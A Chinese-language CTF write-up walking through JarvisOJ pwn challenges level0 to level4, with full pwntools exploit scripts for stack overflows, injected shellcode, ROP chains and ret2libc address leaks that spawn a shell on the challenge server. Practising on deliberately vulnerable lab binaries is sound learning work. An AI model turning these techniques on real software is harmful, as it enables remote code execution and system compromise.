JarvisOJ PWN level系列 wp

菜菜的小白最近學習pwn,做了Jarvis上的一些題目進行練習,也從很多師傅的博客裏學習到了很多新的知識,今天重新溫習並且總結一下,以下的wp可能會比較詳細,大佬可略:

level0

這一題的難度還是蠻容易的,首先拖進ida裏,發現有'/bin/sh/字符串和system函數,然後找溢出點,發現read函數這裏發生溢出,只給了0x88的內存,但是卻要讀0x200個字節,必溢出:

然後構造一個溢出,讓返回地址變成指定的地址(即system函數的地址),寫一個腳本就可以getshell了:

# -*- coding:utf-8 -*-
from pwn import *


sh = remote("pwn2.jarvisoj.com",9881) 
junk = 'a'*0x80


fakebp = 'a'*8
syscall = 0x0000000000400596
payload = junk + fakebp + p64(syscall)
sh.send(payload)
sh.interactive()

level1

拖進ida裏進行查看:

先確認一下思路,首先發現溢出點,並且可以知道buf的地址,所以我們就要在已知的buf地址上構造shellcode。

由於棧的大小是0x88,read函數能夠讀入的範圍是0x100到buf,所以可以通過溢出來讓函數跳轉到shellcode的地址進行執行。

首先先生成一段shellcode,使用pwntools裏固有的函數進行構造:shellcode=asm(shellcraft.sh())

接着我們需要確定跳轉的地址,checksec發現該程序沒有開啓任何保護措施,所以就在緩衝區內構造shellcode並用buf作爲起始地址,下面上腳本:

from pwn import *

p = remote('pwn2.jarvisoj.com', 9877)
#p = process("./level1")
#接收從下標爲第14位到倒數第二位的字符串
text = p.recvline()[14:-2]
print text[14:-2]
#將text字符串通過int函數轉換爲16進制的地址,作爲跳轉的地址
buf_addr = int(text, 16)
shellcode = asm(shellcraft.sh())

payload = 'a' * (0x88+4-len(shellcode)) + shellcode +  p32(buf_addr)
p.send(payload)
p.interactive()

level2

拖進ida反彙編,找溢出點,發現溢出:

發現了system函數,還發現了'/bin/sh'字符串,所以可以通過把傳入參數變成'/bin/sh'然後通過調用system('/bin/sh')得到shell:

(此圖源自https://blog.csdn.net/github_36788573/article/details/80004451

注意不能在vulnerable函數的返回地址後面直接跟參數,我們需要模擬call system函數的過程,在這個過程中call有一步是將下一條指令的地址壓棧,所以我們需要構造一個假的返回地址,當然這個內容隨意。上腳本:

# -*- coding:utf-8 -*-

from pwn import * 

p = remote('pwn2.jarvisoj.com', 9878)

payload = 'a' * 0x88 + 'a' * 4 + p32(0x08048320) + p32(0xdeadbeef) + p32(0x0804A024)
#0xdeadbeef/"aaaa"爲system("/bin/sh")執行後的返回地址,可以隨便指定
p.sendlineafter("Input:\n", payload)

p.interactive()

level2_x64

結構和level2的差不多,溢出點也相同,區別在於32位的是通過棧傳參,而64位通過寄存器傳參。

所以這時我們的思路變成如何覆蓋edi的值,通過基本rop就可以做到,利用程序自己的帶有pop edi/rdi;ret語句達到給edi賦值的效果。pop edi語句是將當前的棧頂元素傳遞給edi,在執行pop語句時,只要保證棧頂元素是”/bin/sh”的地址,並將返回地址設置爲system。


————————————————
版權聲明:本文爲CSDN博主「yudhui」的原創文章,遵循 CC 4.0 BY-SA 版權協議,轉載請附上原文出處鏈接及本聲明。
原文鏈接:https://blog.csdn.net/github_36788573/article/details/80008536

思路已經清晰了,現在上腳本:

from pwn import *

p = remote('pwn2.jarvisoj.com','9882')
#p = process("./level2")

elf = ELF('./level2x64')

payload = 'a' * 0x80 + "bbbbbbbb"
pop_rdi_addr = 0x00000000004006b3
sh_addr = elf.search('/bin/sh').next()
print p64(sh_addr)
#sh_addr = 0x0000000000600A90

system_addr = elf.symbols['system']
print p64(system_addr)

junk = 'a' * 0x88

#ROPgadget --binary level2_x64 --only 'pop|ret '

payload = junk + p64(pop_rdi_addr) + p64(sh_addr) + p64(system_addr)  
p.sendline(payload)
p.interactive()

level3(return_to_libc)

首先拿到一個壓縮包,解壓之後發現程序以及libc-2.19.so文件,拖到ida裏,首先發現vul_fuction的read函數可以溢出。發現程序沒有system函數和”/bin/sh”,要如何getshell呢?

首先我們想到要獲取system函數的地址。這就需要利用到在libc.so文件中各個函數的相對位置和加載到內存中之後各個函數的相對位置相同這一特性來獲取。

我們在程序中發現了write函數,write函數可以將東西寫出來,所以我們就可以將write函數在內存中的地址泄露出來,由於system和write函數在libc.so文件中的地址是可以知道的,那麼進而我們就可以通過動態鏈接庫的特性知道system在內存中的的地址,以及”/bin/sh”在內存中的地址,於是就可以調用system(“/bin/sh”)達到獲取shell的目的。

有關plt和got表的知識參考:https://www.jianshu.com/p/0ac63c3744dd

至於write函數在內存中的地址是保存在got表中,在第二次運行write函數的時候,got表中就已經記錄了write的地址。再次返回func函數爲了是進行二次溢出,後面三個分別是wirte函數的參數 ,1表示標準輸出流stdout,中間是write是要輸出的地址,這裏要輸出writegot,4是輸出的長度,上腳本:

from pwn import * 
                                                                 
#conn=process('./level3')
conn=remote("pwn2.jarvisoj.com",9879)
libc=ELF('./libc-2.19.so')
e=ELF('./level3')
pad=0x88
vulfun_addr=0x0804844B  
write_plt=e.symbols['write'] 
#write_got=e.got['write'] 
write_got = 0x0804A018
payload1='A'*pad+"BBBB"+p32(write_plt)+p32(vulfun_addr)+p32(1)+p32(write_got)+p32(4)
#溢出地址+返回地址+參數
conn.recvuntil("Input:\n")
conn.sendline(payload1)

write_addr=u32(conn.recv(4))

#calculate the system_address in memory
libc_write=libc.symbols['write']
#libc_system=libc.symbols['system']
#libc_sh=libc.search('/bin/sh').next()
#libc_read_addr = 0x000dde30
libc_system = 0x00040310
libc_sh = 0x162d4c
system_addr=write_addr-libc_write+libc_system 
sh_addr=write_addr-libc_write+libc_sh

payload2='A'*pad+"BBBB"+p32(system_addr)+ "dead" +p32(sh_addr)
conn.sendline(payload2)
conn.interactive()

相關博客參考:https://blog.csdn.net/github_36788573/article/details/80069404

https://www.jianshu.com/p/35c757ef9d89   https://www.bbsmax.com/A/mo5kNV14Jw/

level3_x64

程序和level3的差不多,就是要注意64位程序的傳參,直接上腳本吧:

from pwn import*

#p = process('./level3x64')
p = remote('pwn2.jarvisoj.com',9883)
libc = ELF('./libc-2.19.so')
e = ELF('./level3_x64')

pop_rdi_ret = 0x00004006b3
pop_rsi_ret = 0x00004006b1
write_plt = e.plt['write']
write_got = e.got['write']
#vul_addr = e.symbols['vulnerable_function']
vul_addr = 0x4005e6
payload1 = 'a' * 0x88 + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(write_got) + p64(0xdeadbeef) + p64(write_plt) + p64(vul_addr)
p.recvuntil("Input:\n")
p.sendline(payload1)

write_addr=u64(p.recv(8))
print(write_addr)

libc_write = libc.symbols['write']
libc_system = libc.symbols['system']
libc_sh = libc.search('/bin/sh').next()

system_addr = write_addr-libc_write+libc_system 
sh_addr = write_addr-libc_write+libc_sh

payload2 = 'a' * 0x88 + p64(pop_rdi_ret) + p64(sh_addr) + p64(system_addr) + p64(0xdeadbeef)

p.sendline(payload2)
p.interactive()

附件更新了....因爲這個卡了好久....枯了QAQ/

po出兩個x86和x64傳參時棧幀結構鏈接:32位:https://www.jianshu.com/p/c90530c910b0

64位:https://www.jianshu.com/p/f3ebf8a360f0

level4

拿到附件之後打開發現沒有libc文件,之後學習到用DynELF來做,利用這個模塊可以找到system的地址,但是找不到”/bin/sh”這個字符串位置,於是我們可以將其寫入bss段,然後控制read函數,通過調用read函數寫入字符串,下面上腳本。

(DynELF的相關學習鏈接:https://blog.csdn.net/qq_40827990/article/details/86689760

from pwn import *

#p = process('./level4')
p = remote('pwn2.jarvisoj.com','9880')

e = ELF('./level4')
write_plt = e.symbols['write']
vul_addr = e.symbols['vulnerable_function']
bss_addr = 0x0804A024
def leak(addr):
	payload = 'a' * 0x88 + "bbbb"
	payload += p32(write_plt)
	payload += p32(vul_addr)
	payload += p32(0x1)
	payload += p32(addr)
	payload += p32(0x4)
	p.send(payload)
	data = p.recv(4)
	return data

d = DynELF(leak,elf = e)
system_addr = d.lookup('system','libc')

#read_addr = e.symbols['read']
#read_addr = d.lookup('read','libc')
read_addr = 0x08048310
payload2 = 'a'*0x88 + "bbbb" + p32(read_addr) + p32(vul_addr) + p32(0) + p32(bss_addr) + p32(8)
p.send(payload2)
p.sendline('/bin/sh')

payload3 = 'a'*0x88 + "bbbb" + p32(system_addr) + p32(0xdeadbeef) + p32(bss_addr)
p.sendline(payload3)

p.interactive()

 

發佈了16 篇原創文章 · 獲贊 2 · 訪問量 3283
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章